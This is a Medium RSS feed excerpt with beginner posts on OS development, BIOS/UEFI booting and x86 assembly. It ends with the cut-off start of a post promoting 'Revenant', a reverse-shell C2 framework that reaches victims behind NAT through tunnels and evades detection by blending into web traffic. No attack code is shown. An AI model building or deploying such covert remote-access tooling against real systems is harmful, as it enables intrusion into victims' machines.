alt=""><hr><p><a href="https://infosecwriteups.com/bad-usb-the-invisible-hardware-threat-c1bc8f064405">Bad USB: The Invisible Hardware Threat</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Development Series — Part 2: BIOS, Interrupts, UEFI & The First Step of Booting]]></title>
            <link>https://medium.com/@dharineeshj2/os-development-series-part-2-bios-interrupts-uefi-the-first-step-of-booting-c3d651304f74?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3d651304f74</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[firmware]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[operating-systems]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Sun, 03 May 2026 15:37:57 GMT</pubDate>
            <atom:updated>2026-05-05T14:29:26.322Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1LlhxxDNSlhN8yDh.png" /></figure><p>Before diving into this part, make sure you’ve gone through the earlier posts in this series. A basic understanding of assembly, registers, and low-level execution will help you follow along much more comfortably.</p><p>In this part, we explore one of the most important components in the entire boot process — the <strong>BIOS</strong> — and look at its modern successor, <strong>UEFI</strong>. This is where every operating system begins its journey, long before your kernel even exists in memory.</p><h3>So, What Exactly is BIOS?</h3><p>BIOS (Basic Input/Output System) is the very first piece of software that runs when you power on your computer.</p><p>It resides in a non-volatile memory chip on the motherboard, which means it is always available, even when the system is turned off. Thus each motherboard vendor gives their own bios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*UQTGHkn5cX1vKBttFZgwtw.jpeg" /></figure><p>This is the image of my very very very old motherboard manufactured by intel. The small black 8-pin chip circled in pink is where the BIOS firmware is stored.</p><p>The main work of BIOS is to check whether the internal peripherals such as RAM, ROM, CPU, GPU etc and external peripherals such as keyboard, mouse, monitor etc working are not. This is called as <strong>Power On Self Test (POST). </strong>Then it loads the Bootloader from the secondary storage to the RAM.</p><h3>What Happens During Startup?</h3><p>When you power on a computer, the CPU begins execution from a predefined memory location that points to the BIOS firmware stored in non-volatile memory on the motherboard. This is the very first code that runs — not your operating system.</p><p>The first job of the BIOS is not to load the OS, but to verify that the system is capable of running. This process is called the <strong>Power-On Self-Test (POST)</strong>. During POST, BIOS checks essential hardware components like RAM, CPU, storage devices, and basic input/output peripherals such as the keyboard and display. If any critical component fails, the system halts with an error indication.</p><p>The initial BIOS instructions are executed directly from non-volatile memory. In some systems, parts of the BIOS may later be copied into RAM for faster execution, but early initialization always begins from firmware.</p><p>Once POST is successfully completed, BIOS proceeds to locate a bootable device. The following steps to locate and load the bootloader are as follows,</p><ul><li>BIOS scans available boot devices (HDD, SSD, USB, CD/DVD) based on the configured boot order</li><li>The first sector of the selected device (called the <strong>boot sector</strong>) is read into memory</li><li>This sector is exactly <strong>512 bytes</strong> in size</li><li>The last two bytes must contain the signature <strong>0x55AA</strong> (stored as 55 AA)</li><li>If the signature is valid, BIOS loads this sector into RAM (typically at address 0x7C00)</li><li>Control is then transferred to this code, which is the <strong>bootloader</strong></li></ul><p>From this point onward, the bootloader takes over and continues the process by loading the operating system kernel into memory.</p><p>At a high level, the startup flow looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*pjSXqOQw6xQEPhX7TKMnmA.png" /></figure><h3>Why Does BIOS Exist?</h3><p>You might wonder why we need BIOS at all. Why not directly write a bootloader that does everything?</p><p>The issue lies in hardware complexity. Different systems have different hardware configurations, and handling all of that manually would make bootloaders extremely complex and non-portable.</p><p>BIOS solves this by acting as a <strong>standard interface between hardware and software</strong>. It initializes the system and provides a consistent way to interact with hardware.</p><p>This is especially important because traditional bootloaders are limited to just <strong>512 bytes</strong>, which is far too small to handle full hardware initialization.</p><h3>BIOS Interrupts</h3><p>BIOS provides a set of <strong>interrupt routines</strong> that act like built-in functions for hardware interaction. Instead of directly controlling hardware devices, you can simply invoke these interrupts to perform tasks such as displaying text or handling input.</p><p>These interrupts are stored in the <strong>Interrupt Vector Table (IVT)</strong>, located at the very beginning of memory. The IVT contains <strong>256 entries</strong>, each of size <strong>4 bytes</strong>, and each entry holds the address of a BIOS routine in <strong>segment:offset</strong> format.</p><p>When you execute an instruction like:</p><pre>int 0x10</pre><p>the CPU looks up interrupt 0x10 in the IVT. Since 0x10 (hex) equals 16 (decimal), it accesses the 16th entry in the table. The corresponding address is then loaded into the <strong>CS:IP registers</strong> (program counter), and execution is transferred to that BIOS routine.</p><p>For example, to print a character on the screen:</p><pre>mov ah, 0x0E<br>mov al, &#39;A&#39;<br>int 0x10</pre><p>This code prints the character &#39;A&#39; using a BIOS video interrupt, without needing to directly manage the display hardware.</p><p>When an interrupt is triggered, the CPU follows a structured process: it saves the current state (registers), looks up the interrupt in the IVT, loads the routine address into CS:IP, transfers control to the BIOS routine, executes it, and finally restores the previous state before returning.</p><p>This mechanism allows smooth switching between your code and BIOS routines. BIOS handles all the low-level hardware operations behind the scenes — you simply use the interface it provides, which is why BIOS interrupts are extremely useful during the early stages of OS development.</p><h3>UEFI — The Modern Replacement</h3><p>While BIOS has been around for decades, modern systems use <strong>UEFI (Unified Extensible Firmware Interface)</strong>, which is essentially an advanced and more capable replacement. UEFI was designed to overcome many limitations of BIOS. Unlike BIOS, which operates in 16-bit mode, UEFI can run in <strong>32-bit or 64-bit mode</strong>, making it significantly more powerful and flexible. Instead of loading just a tiny 512-byte boot sector, UEFI can directly load executable files (usually .efi files) from a disk. These files are stored in a special partition called the <strong>EFI System Partition (ESP)</strong>.</p><h3>Key Differences Between BIOS and UEFI</h3><p>BIOS follows a very minimal and constrained approach, while UEFI introduces a more modern and feature-rich environment.</p><p>BIOS relies on the boot sector and uses interrupts for hardware interaction. UEFI, on the other hand, provides a full set of services and APIs, almost like a small operating system before the actual OS loads.</p><p>Major advantage of UEFI is <strong>Secure Boot</strong>, which ensures that only trusted and signed software (bootloader)is executed during the boot process, improving system security.</p><p>Another key difference is that UEFI provides a modern graphical interface with mouse (cursor) and keyboard support, whereas BIOS offers a minimal, text-based interface that can be navigated using only the keyboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*vn1JFdShsUvMQ1c7.png" /><figcaption>BIOS User Interface</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nGCOYKClfK37VY8CqrV-g.jpeg" /><figcaption>UEFI User Interface of Acer Predator Helios 300</figcaption></figure><h3>BIOS vs UEFI in OS Development</h3><p>For OS development, especially when starting out, BIOS is often preferred because it is simpler and easier to understand. It provides a minimal environment where you can directly interact with hardware using interrupts.</p><p>UEFI, while more powerful, is also more complex. It requires understanding of its APIs, file formats, and boot mechanisms.</p><p>That said, modern systems are moving entirely toward UEFI, so eventually, serious OS development projects will need to support it.</p><h3>Wrapping Up</h3><p>BIOS is where everything begins. It initializes the hardware, performs system checks, and loads the bootloader that starts your OS. It also provides useful interrupt routines that simplify early development. UEFI builds on these ideas and takes them much further, offering a more powerful and flexible boot environment.</p><p>Understanding both gives you a complete picture of how modern systems start — from power-on to kernel execution.</p><h3>What’s Next?</h3><p>In the next part, we’ll dive deeper into the different operating modes of a system and explore how memory is managed through various addressing techniques. We’ll look at how the processor transitions between modes, how each mode impacts execution and security, and how address management mechanisms like segmentation, paging etc help organize and access memory efficiently.</p><p><a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3d651304f74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Development Series — Part 1: Basics of Assembly]]></title>
            <link>https://medium.com/@dharineeshj2/os-development-series-part-1-basics-of-assembly-022f660517df?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/022f660517df</guid>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[software]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 05:41:08 GMT</pubDate>
            <atom:updated>2026-05-03T15:28:19.429Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*b_SmeGIEhKMiqUWl" /></figure><p>When you start building an operating system, one thing becomes very clear: <strong><em>high-level languages like C or Python are not enough on their own.</em></strong></p><p>At the lowest level, your computer only understands <strong>machine code (binary)</strong> — a sequence of 0s and 1s. Writing programs directly in binary is extremely difficult, error-prone, and almost impossible to manage for anything complex.</p><p>This is where <strong>assembly language</strong> comes in.</p><h3>🔍 What is Assembly?</h3><p>Assembly is a <strong>low-level programming language</strong> that acts as a bridge between human-readable code and machine code.</p><p>Instead of writing raw binary like:</p><pre>10110000 00000101</pre><p>You can write:</p><pre>mov al, 5</pre><p>Both represent the same instruction, but assembly is far easier to understand and work with.</p><p>Each assembly instruction corresponds <strong>almost one-to-one</strong> with a machine instruction. That means:</p><ul><li>You have <strong>full control over hardware</strong></li><li>There is <strong>no hidden abstraction</strong></li><li>Every instruction you write is executed directly by the CPU</li></ul><p>This is exactly why assembly is so important in OS development.</p><h3>Why Assembly is Important for OS Development</h3><p>In normal application development, the operating system provides services (memory, files, processes). These services are built using assembly and C. Other languages rely on those services.</p><blockquote>You might wonder: <em>how does C fit into all of this?</em></blockquote><blockquote>C can be thought of as a higher-level layer built on top of assembly — just as assembly itself is a more human-readable layer over raw binary. In assembly, we directly write functions that interact closely with hardware. These assembly routines can then be invoked from C programs to carry out more complex tasks.</blockquote><blockquote>Another natural question is: <em>if C is built on top of assembly, why not just use C everywhere instead of assembly?</em></blockquote><blockquote>While C provides powerful abstractions and is much easier to write and maintain, certain operations — especially those involving direct hardware access or precise control over system behavior — are only possible (or more practical) using assembly. This is particularly true for working with interrupts and other low-level mechanisms where fine-grained control is essential.</blockquote><p>But when you build an OS:</p><ul><li>❌ There is no OS beneath you</li><li>❌ No libraries, no runtime</li><li>❌ No safety nets</li></ul><p>You are responsible for:</p><ul><li>Talking to hardware</li><li>Managing memory</li><li>Controlling the CPU</li></ul><p>Assembly allows you to do all of this because it works <strong>directly with the processor</strong>.</p><h3>Types of Assembly Architectures</h3><blockquote>Assembly is not universal. It depends on the CPU architecture.</blockquote><p>Some common ones:</p><ul><li><strong>x86</strong> → Used in most PCs and laptops</li><li><strong>ARM</strong> → Used in mobile devices and embedded systems</li><li><strong>MIPS</strong> → Common in academic environments</li></ul><p>Each architecture has different instruction formats, different registers, and different capabilities.</p><p>In this series, we will focus on <strong>x86 assembly</strong>, since it is widely used and well-documented for OS development.</p><h3>Instruction Types in Assembly</h3><p>Assembly instructions are grouped based on what they do. Understanding these categories helps you think clearly while writing low-level code.</p><h3>📦 1. Data / Move Operations</h3><p>These instructions are used to <strong>move data</strong> between registers, memory, and constants.</p><pre>mov ax, 5          ; store value 5 in AX<br>mov bx, ax         ; copy AX → BX<br>mov [1000h], ax    ; store AX into memory<br>mov ax, [1000h]    ; load memory into AX</pre><p>💡 Key idea:<br>There is <strong>no automatic data movement</strong> in assembly. You must explicitly move everything.</p><h3>➕ 2. Arithmetic Operations</h3><p>Used for performing mathematical operations.</p><pre>add ax, bx     ; AX = AX + BX<br>sub ax, 2      ; AX = AX - 2<br>mul bx         ; AX = AX * BX<br>div bx         ; AX = AX / BX<br>inc ax         ; AX = AX + 1<br>dec ax         ; AX = AX - 1</pre><p>💡 Important:<br>Most operations <strong>store results back into registers</strong>, not variables.</p><h3>🔀 3. Branch (Control Flow) Operations</h3><p>These instructions control the flow of execution — like if, else, and loops in high-level languages.</p><pre>cmp ax, bx     ; sets flags based on AX - BX<br>je equal       ; jump if AX == BX (ZF = 1)<br>jmp end        ; otherwise jump to end</pre><p>💡 Behind the scenes:</p><ul><li>cmp sets flags in the CPU</li><li>Jump instructions check those flags</li></ul><h3>🧠 4. Logical Operations</h3><p>Used for boolean logic at the bit level.</p><pre>and ax, bx     ; bitwise AND<br>or ax, bx      ; bitwise OR<br>xor ax, ax     ; clears AX (sets to 0)<br>not ax         ; flips all bits</pre><p>💡 Trick:<br>xor ax, ax is commonly used to quickly set a register to zero.</p><h3>⚙️ 5. Bitwise Operations</h3><p>Used to manipulate bits directly — very useful in OS and hardware programming.</p><pre>shl ax, 1      ; shift left (multiply by 2)<br>shr ax, 1      ; shift right (divide by 2)<br>rol ax, 1      ; rotate bits left<br>ror ax, 1      ; rotate bits right</pre><h3>🔤 6. String Operations</h3><p>Used for handling blocks of memory (arrays, buffers, strings).</p><pre>mov si, source<br>mov di, dest<br>mov cx, 5</pre><pre>rep movsb      ; copy 5 bytes</pre><p>Other instructions:</p><pre>lodsb   ; load byte from memory → AL<br>stosb   ; store byte from AL → memory<br>cmpsb   ; compare bytes</pre><p>💡 These are powerful because they work <strong>on sequences of data automatically</strong>.</p><h3>💡 High-Level vs Assembly Example</h3><p>Let’s compare a simple operation.</p><h3>In C:</h3><pre>int a = 10;<br>int b = a;</pre><h3>In Assembly:</h3><pre>mov byte [address1], 10<br>mov bl, byte [address1]<br>mov byte [address2], bl</pre><p>Both C and Assembly achieve the same logical result, but the difference is not just syntax — assembly gives low-level control over memory and registers, while C abstracts these details and lets the compiler handle them.</p><h3>🧠 CPU Registers (x86)</h3><p>Registers are <strong>small, extremely fast storage locations inside the CPU</strong>.<br>They are much faster than RAM and are used for almost all operations.</p><h3>🧮 1. Accumulator (AX)</h3><p>Used mainly for arithmetic operations.</p><pre>mov ax, 5<br>mov bx, 3<br>add ax, bx</pre><h3>📍 2. Program Counter (IP)</h3><p>Holds the address of the next instruction.</p><pre>jmp label</pre><pre>label:<br>    mov ax, 1</pre><p>💡 You don’t control it directly — it changes when you jump or call functions.</p><h3>📥 3. Instruction Register (IR)</h3><p>Stores the current instruction being executed.</p><p>👉 Not directly accessible, but conceptually:</p><pre>mov ax, 5</pre><h3>🗺️ 4. Memory Address Register (MAR)</h3><p>Stores the address being accessed.</p><pre>mov ax, [1000h]</pre><h3>📦 5. Memory Data Register (MDR)</h3><p>Stores data being transferred.</p><pre>mov ax, [1000h]</pre><h3>🔧 6. General Purpose Registers (GPRs)</h3><p>General Purpose Registers (GPRs) are used for general tasks and come in 8, 16, 32, and 64-bit sizes. The 64-bit register is the main container, and smaller registers are just parts of it. For example, rax is 64-bit and eax is its lower 32 bits. Writing to eax updates the corresponding lower part of rax, since it represents the rightmost portion of the same register.</p><pre>mov ax, 10<br>mov bx, 20<br>add ax, bx</pre><pre>mov cx, 5<br>loop_label:<br>    dec cx<br>    jnz loop_label</pre><h3>⏳ 7. Temporary Register (TR)</h3><p>Used internally by CPU during operations.</p><h3>🔌 8. Input / Output Registers</h3><p>Used to communicate with hardware.</p><pre>in al, 60h<br>out 64h, al</pre><h3>📚 9. Stack Pointer (SP)</h3><p>Points to the top of the stack.</p><pre>mov ax, 5<br>push ax<br>pop bx</pre><p>💡 Stack is used for:</p><ul><li>Function calls</li><li>Interrupt handling</li><li>Temporary storage</li></ul><h3>⚡ Base Pointer (BP)</h3><p>Used for accessing stack data.</p><pre>push bp<br>mov bp, sp</pre><pre>mov ax, [bp+4]</pre><pre>pop bp</pre><p>This is just the basics — explore more about assembly to understand how programs interact directly with hardware, how registers and memory work together, and how higher-level languages like C are built on top of these low-level instructions.</p><h3>🚀 Why This Matters</h3><p>Assembly is not just another language — it’s the <strong>foundation of everything</strong>:</p><ul><li>Every program eventually becomes machine code</li><li>Every OS relies on low-level instructions</li><li>Every hardware interaction uses assembly concepts</li></ul><p>When you understand assembly:</p><ul><li>You understand how computers <em>actually work</em></li><li>You gain full control over execution</li><li>You can build systems from scratch</li></ul><h3>What’s Next?</h3><p>Now that you understand the basics, the next step is to see how a system actually starts.</p><p>In <strong>Part 2</strong>, we will explore:</p><p>➡️ What happens when you press the power button<br>➡️ How BIOS works<br>➡️ How your OS begins execution</p><p><a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=022f660517df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Development Series — Part 0: Introduction]]></title>
            <link>https://medium.com/@dharineeshj2/building-an-operating-system-from-scratch-part-0-introduction-06577755c68d?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/06577755c68d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Sun, 05 Apr 2026 15:31:38 GMT</pubDate>
            <atom:updated>2026-06-30T14:20:10.448Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Myk9YbzIb9hb9L6qbUdAKg.png" /></figure><h3>Why Build an Operating System?</h3><p>Most developers use operating systems every day — but very few truly understand what happens between pressing the power button and seeing a working system. This series is for anyone curious about how operating systems work, especially those who have questions like:</p><blockquote>What actually runs first?<br>How does your code even get executed?<br>Where does the OS come from?</blockquote><p>Understanding these internals isn’t just “cool” — it fundamentally changes how you think as a computer science engineer.</p><p>In this series, we won’t stay in theory.<br>We’ll <strong>build a real operating system from scratch</strong> — step by step.</p><h3>What This Series Is About and what You’ll Learn</h3><p>We’ll start from the very beginning:</p><ul><li>How a computer boots using BIOS</li><li>What is the work of bootloader and how to write a <strong>16-bit bootloader (Real Mode)</strong></li><li>Understanding the working of file systems (FAT)</li><li>Loading programs directly from disk</li><li>Transitioning to <strong>32-bit Protected Mode</strong></li><li>Building a <strong>basic kernel</strong></li><li>Adding real OS features over time</li></ul><p>This is <strong>not</strong> just another “Hello World OS” tutorial.<br>We’ll go deeper into <strong>how things actually work under the hood</strong>.</p><h3>Series Roadmap</h3><p>Here’s the journey we’ll follow:</p><h3>Phase 1: Bootloader (16-bit)</h3><ul><li>Writing your first bootloader</li><li>Printing text using BIOS interrupts</li></ul><h3>Phase 2: Reading from Disk</h3><ul><li>Reading sectors from disk</li><li>Loading a kernel from a filesystem</li></ul><h3>Phase 3: Input &amp; Output Functions</h3><ul><li>Using BIOS interrupts for I/O</li><li>Writing:putc and puts, printf and scanf</li></ul><h3>Phase 4: Writing Simple Applications</h3><ul><li>Build a simple <strong>calculator</strong></li><li>Create a <strong>Tic-Tac-Toe game</strong></li></ul><h3>Phase 5: Bootloader Upgrade (GRUB)</h3><ul><li>Using <strong>GRUB</strong> to simplify loading</li></ul><h3>Phase 6: Entering 32-bit Mode</h3><ul><li>Understanding CPU modes</li><li>Why switching modes is required</li><li>Introduction to <strong>descriptors &amp; segmentation</strong></li><li>Implementing the <strong>Global Descriptor Table (GDT)</strong></li></ul><h3>Phase 7: Core OS Features</h3><ul><li>Writing</li><li>Memory management basics</li><li>Writing simple drivers</li><li>Handling keyboard input</li><li>Building a minimal shell</li></ul><p>…and much more as we progress</p><h3>Tools We’ll Use</h3><p>To build everything from scratch:</p><ul><li><strong>NASM</strong> → Assembly programming</li><li><strong>Open Watcom</strong> → used for 16 bit C compiler</li><li><strong>GCC (freestanding)</strong> → Kernel development in C</li><li><strong>LD (Linker)</strong> → Linking binaries</li><li><strong>QEMU </strong>→ OS emulation</li><li><strong>Makefile</strong> → Build automation</li></ul><h3>Prerequisites</h3><p>You don’t need to be an expert, but having these basics will help:</p><ul><li>C programming</li><li>Basic Assembly (registers, instructions)</li><li>High-level understanding of memory</li></ul><p>If you don’t know everything — that’s fine.<br>You’ll learn along the way.</p><h3>Who Is This For?</h3><p>This series is perfect for:</p><ul><li>Students learning low-level programming</li><li>Developers curious about OS internals</li><li>Cybersecurity enthusiasts</li><li>Systems programming learners</li></ul><h3>What Makes This Series Different?</h3><ul><li>Real-world debugging tips</li><li>Common mistakes (and how to fix them)</li><li>Step-by-step implementation</li><li>Focus on <strong>understanding</strong>, not copying code</li></ul><h3>Let’s Begin</h3><p>In the next part, we’ll explore:</p><p><strong>How the boot process works (BIOS → Bootloader)</strong></p><p>And then…</p><p>We’ll write our <strong>first bootloader</strong></p><h3>Follow Along</h3><p>If you want to build this OS with me:</p><ul><li>I’ll provide <strong>complete code</strong></li><li>Step-by-step explanations</li><li>Debugging guidance</li></ul><h3>Next Up</h3><p><strong>Part 1 — Understanding the Boot Process</strong></p><p><a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06577755c68d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assembly Is Scary — Until You Actually Learn It]]></title>
            <link>https://medium.com/@dharineeshj2/assembly-is-scary-until-you-actually-learn-it-c2f7b4f45e25?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2f7b4f45e25</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[binary]]></category>
            <category><![CDATA[learning]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 14:13:33 GMT</pubDate>
            <atom:updated>2025-12-14T01:32:04.210Z</atom:updated>
            <content:encoded><![CDATA[<h3>Assembly Is Scary — Until You Actually Learn It</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6M2rsG696O9AglpP2WkXzw.png" /></figure><p>Every computer science engineer sees <strong>assembly language</strong> as the devil sitting on their shoulder, whispering:</p><blockquote><em>“You should’ve chosen management.”</em></blockquote><p>But here’s the truth — <strong>assembly is the mother of every programming language</strong>. Ignore it long enough, and one day it will come back to haunt you…</p><h3>Why Assembly Feels Scary (and Why It Isn’t)</h3><p>The main difference between <strong>assembly</strong> and <strong>high-level languages</strong> is <em>abstraction</em>.</p><ul><li>In a <strong>high-level language</strong>, you say:<br>👉 <em>“Walk.”</em></li><li>In <strong>assembly</strong>, you say:<br>👉 Lift your leg<br>👉 Move it 30 cm forward<br>👉 Place it on the ground<br>👉 Repeat for the other leg</li></ul><p>Yes, it’s exhausting. But once you understand this level of detail, <strong>everything else starts to make sense</strong>.</p><blockquote>Learning assembly is like learning how your body actually walks instead of just trusting that it works.</blockquote><h3>Simple Explanation of Assembly Language</h3><p><strong>Assembly is a low-level programming language</strong> that communicates almost directly with hardware. It acts as an <strong>intermediate layer</strong> between <strong>Binary (1s and 0s) </strong>and <strong>High-level languages (C, C++, Python, etc.)</strong></p><p>Assembly uses <strong>mnemonics</strong> such as:MOV, ADD, CMP, JMP</p><p>Each mnemonic represents a <strong>specific machine instruction</strong>, which ultimately translates into binary.</p><p>Think of assembly as <strong>human-readable machine code</strong>.</p><h3>A Very Small History !</h3><p>In the early days, programs were written directly in binary, which was slow, painful, and highly error-prone. To simplify this process, assembly language was introduced as a human-readable alternative to raw machine code. The first compilers were written in assembly, and over time these compilers became the foundation on which modern programming languages were built.</p><p>So yes — <strong>your favorite language exists because assembly exists</strong>.</p><h3>Why Should We Learn Assembly?</h3><p>Learning assembly is not about writing full applications forever.</p><p>It helps you:</p><ul><li>Understand <strong>how the CPU works</strong></li><li>Learn how <strong>memory is managed</strong></li><li>Know what actually happens behind: <strong>loops, function calls, conditional statements</strong></li><li>Write <strong>better and more efficient code</strong> in any language</li></ul><blockquote>Assembly doesn’t replace high-level languages. It <strong>makes you better at them</strong>.</blockquote><h3>How to Start Learning Assembly</h3><h3>1. Be Comfortable with C</h3><p>C is the closest high-level language to assembly.</p><p>If assembly is a high-level language of <strong>binary</strong>, then C is a high-level language of <strong>assembly</strong>.</p><p>Make sure you understand: <strong>Pointers, Memory, Stack vs heap, Function calls</strong></p><h3>2. Start with Basic Instructions</h3><p>Don’t rush.</p><p>Start to learn the basic instructions:</p><ul><li>Data movement: MOV</li><li>Arithmetic: ADD, SUB, MUL</li><li>Comparison: CMP</li><li>Control flow: JMP, JE, JNE</li></ul><p>Understand <strong>what each instruction does</strong>, not just how to write it.</p><h3>3. Build Simple Programs</h3><p>Start with small problems:</p><ul><li>Hello World</li><li>Area of a shape</li><li>Simple interest / compound interest</li></ul><p>They may look tiny, but in assembly they teach you <strong>a lot</strong>.</p><h3>4. Understand Memory and CPU Internals</h3><p>Learn:</p><ul><li>Stack, heap, and data segments</li><li>Little endian vs big endian</li><li>General-purpose registers: A, B, C, D</li><li>Special registers: Stack Pointer, Base Pointer, Program Counter, Index registers</li><li>Interrupts and System calls</li></ul><p>This is where assembly starts to feel powerful instead of scary.</p><h3>5. Move to Projects</h3><p>Now comes the fun (and pain).</p><p>Try projects like:</p><ul><li>Calculator</li><li>Tic-Tac-Toe</li><li>Snake game</li></ul><p>Write everything yourself. Break things. Fix them.</p><h3>My Personal Journey</h3><p>I started my programming journey with <strong>Python</strong>, then moved to <strong>C and C++</strong>, and finally stepped into <strong>assembly</strong>.</p><p>I got frustrated. I gave up multiple times.</p><p>But I pushed through and completed <strong>two mini projects</strong>:</p><ul><li>A calculator</li><li>Tic-Tac-Toe</li></ul><p>On paper, they sound simple.</p><p>In assembly? They make you feel like: <em>“Okay… maybe I actually know something.”</em></p><p><strong><em>Calculator: </em></strong><a href="https://github.com/dharineeshj/Calculator_Assembly"><strong><em>https://github.com/dharineeshj/Calculator_Assembly</em></strong></a></p><p><strong><em>Tick-Tac-Toe: </em></strong><a href="https://github.com/dharineeshj/Tick-Tack-Toe-Assembly"><strong><em>https://github.com/dharineeshj/Tick-Tack-Toe-Assembly</em></strong></a></p><h3>One Important Rule: Don’t Rely on AI</h3><p>While learning assembly:</p><ul><li>Don’t copy-paste solutions</li><li>Don’t ask AI to solve everything</li><li>Struggle a little</li></ul><blockquote>The goal is <strong>learning</strong>, not finishing fast.</blockquote><h3>Resources</h3><p>Book:</p><ul><li>The Pentium Microprocessor</li><li>Hacking: the art of exploitation</li><li>The Art of Assembly Language</li><li><a href="https://raw.githubusercontent.com/tuhdo/os01/master/Operating_Systems_From_0_to_1.pdf">https://raw.githubusercontent.com/tuhdo/os01/master/Operating_Systems_From_0_to_1.pdf</a></li></ul><p>YouTube:</p><ul><li><a href="https://www.youtube.com/@LowLevelTV">https://www.youtube.com/@LowLevelTV</a></li></ul><h3>Conclusion</h3><p>Learning assembly won’t make you slower. It will make you <strong>stronger as a programmer</strong>.</p><p>Take your time. Write ugly code. Debug endlessly.</p><p>And one day, you’ll look at a simple assembly project and think: <em>“What a good project.”</em></p><p><a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2f7b4f45e25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Revenant: A Modern, Full-Stack Reverse Shell C2 Framework — From Payload Generation to Victim…]]></title>
            <link>https://infosecwriteups.com/revenant-a-modern-full-stack-reverse-shell-c2-framework-from-payload-generation-to-victim-c73167670619?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c73167670619</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 03:30:37 GMT</pubDate>
            <atom:updated>2025-08-04T04:48:36.390Z</atom:updated>
            <content:encoded><![CDATA[<h3>Revenant: A Modern, Full-Stack Reverse Shell C2 Framework — From Payload Generation to Victim session Management</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3vstLGKYwRtZugy1GVTJA.png" /></figure><blockquote>A proof-of-concept that turns plain HTTP into a full-fledged C2 infrastructure, built entirely in C++.</blockquote><p><strong>Revenant</strong> is a powerful demonstration of how even a simple HTTP request-response cycle can be adapted to create a stealthy, remote reverse shell infrastructure. This C++-based Command and Control (C2) framework is lightweight, fast, very easy to use, and incredibly flexible — designed to operate across platforms and networks.</p><h3>Key Features</h3><ul><li><strong>Reverse Shell over HTTP</strong><br> Leverages HTTP GET/POST for a reliable command channel between victim and server.</li><li><strong>Cloudflared Tunnel Integration</strong><br> Automatically spins up a public tunnel for attacker server access — no port forwarding needed.</li><li><strong>Fully in C++</strong><br> No Python, no external frameworks. Raw, compiled performance.</li><li><strong>Multi-Victim Management</strong><br> Track and control multiple client sessions independently.</li><li><strong>Command Logging</strong><br> Every shell session and command output is logged — command, result, status, and timestamp.</li></ul><h3>What Makes Revenant Unique?</h3><ul><li><strong>Location Agnostic</strong><br> Revenant works regardless of where the victim device is located — even if it’s behind firewalls or NAT. This is made possible by using a public Cloudflared tunnel, allowing remote access from anywhere in the world.</li><li><strong>Encrypted Transport Ready</strong><br> The framework can communicate over secure HTTPS connections using tunneling. This makes the traffic blend in with regular web traffic, reducing the chance of detection.</li><li><strong>Smart Client Mapping</strong><br> Each victim is identified by their device name. This allows the C2 server to manage multiple victims efficiently.</li><li><strong>Persistent Logging</strong><br> Revenant logs every command executed on each victim. These logs include the command, its result, whether it succeeded or failed, and the exact timestamp — making it easy to track activity.</li><li><strong>Threaded Shell</strong><br> Each shell session runs in its own C++ thread. This means you can 